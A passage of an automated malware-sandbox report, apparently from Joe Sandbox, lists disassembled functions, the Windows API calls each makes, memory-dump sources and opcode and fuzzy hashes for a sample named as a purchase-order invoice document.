                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateHandleTime
                                                                                            • String ID:
                                                                                            • API String ID: 3397143404-0
                                                                                            • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                            • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                            • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                            • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                            Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strncmp
                                                                                            • String ID: ACCEPT$^$h
                                                                                            • API String ID: 909875538-4263704089
                                                                                            • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                            • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                            • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                            • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                            Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                            • API String ID: 0-2165971703
                                                                                            • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                            • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                            • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                            • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                            Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                            • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                            • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Find$File$CloseFirstNext
                                                                                            • String ID:
                                                                                            • API String ID: 3541575487-0
                                                                                            • Opcode ID: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                            • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                            • Opcode Fuzzy Hash: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                            • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                            Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                            • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                            • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileFind$AttributesCloseFirst
                                                                                            • String ID:
                                                                                            • API String ID: 48322524-0
                                                                                            • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                            • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                            • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                            • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                            Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __time64.LIBCMT ref: 004433A2
                                                                                              • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                              • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Time$FileSystem__aulldiv__time64
                                                                                            • String ID: rJ
                                                                                            • API String ID: 2893107130-1865492326
                                                                                            • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                            • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                                            • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                            • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                                            Function 00443391 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __time64.LIBCMT ref: 004433A2
                                                                                              • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                              • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Time$FileSystem__aulldiv__time64
                                                                                            • String ID: rJ
                                                                                            • API String ID: 2893107130-1865492326
                                                                                            • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                            • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                                            • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                            • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                                            Function 0044289D Relevance: 3.1, APIs: 2, Instructions: 82networkfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                                            • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                                              • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                                            • String ID:
                                                                                            • API String ID: 901099227-0
                                                                                            • Opcode ID: c5651eff999419169b46b76971b5abcb261cf656e183e849eb3ab7268b4b60d7
                                                                                            • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                                            • Opcode Fuzzy Hash: c5651eff999419169b46b76971b5abcb261cf656e183e849eb3ab7268b4b60d7
                                                                                            • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                                            Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                            • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Find$CloseFileFirst
                                                                                            • String ID:
                                                                                            • API String ID: 2295610775-0
                                                                                            • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                            • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                            • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                            • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                            Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 0vH$HH
                                                                                            • API String ID: 0-728391547
                                                                                            • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                            • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                            • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                            • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                            Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _memset
                                                                                            • String ID:
                                                                                            • API String ID: 2102423945-0
                                                                                            • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                            • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                            • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                            • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                            Function 0047E1FA Relevance: 2.0, APIs: 1, Instructions: 499COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Proc
                                                                                            • String ID:
                                                                                            • API String ID: 2346855178-0
                                                                                            • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                            • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                                            • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                            • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                                            Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • BlockInput.USER32(00000001), ref: 0045A272
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BlockInput
                                                                                            • String ID:
                                                                                            • API String ID: 3456056419-0
                                                                                            • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                            • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                                            • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                            • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                                            Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: LogonUser
                                                                                            • String ID:
                                                                                            • API String ID: 1244722697-0
                                                                                            • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                            • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                            • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                            • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                            Function 004711D2 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: NameUser
                                                                                            • String ID:
                                                                                            • API String ID: 2645101109-0
                                                                                            • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                            • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                                            • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                            • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                                            Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ExceptionFilterUnhandled
                                                                                            • String ID:
                                                                                            • API String ID: 3192549508-0
                                                                                            • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                            • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                            • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                            • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                            Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                            • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                            • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                            • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                            Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
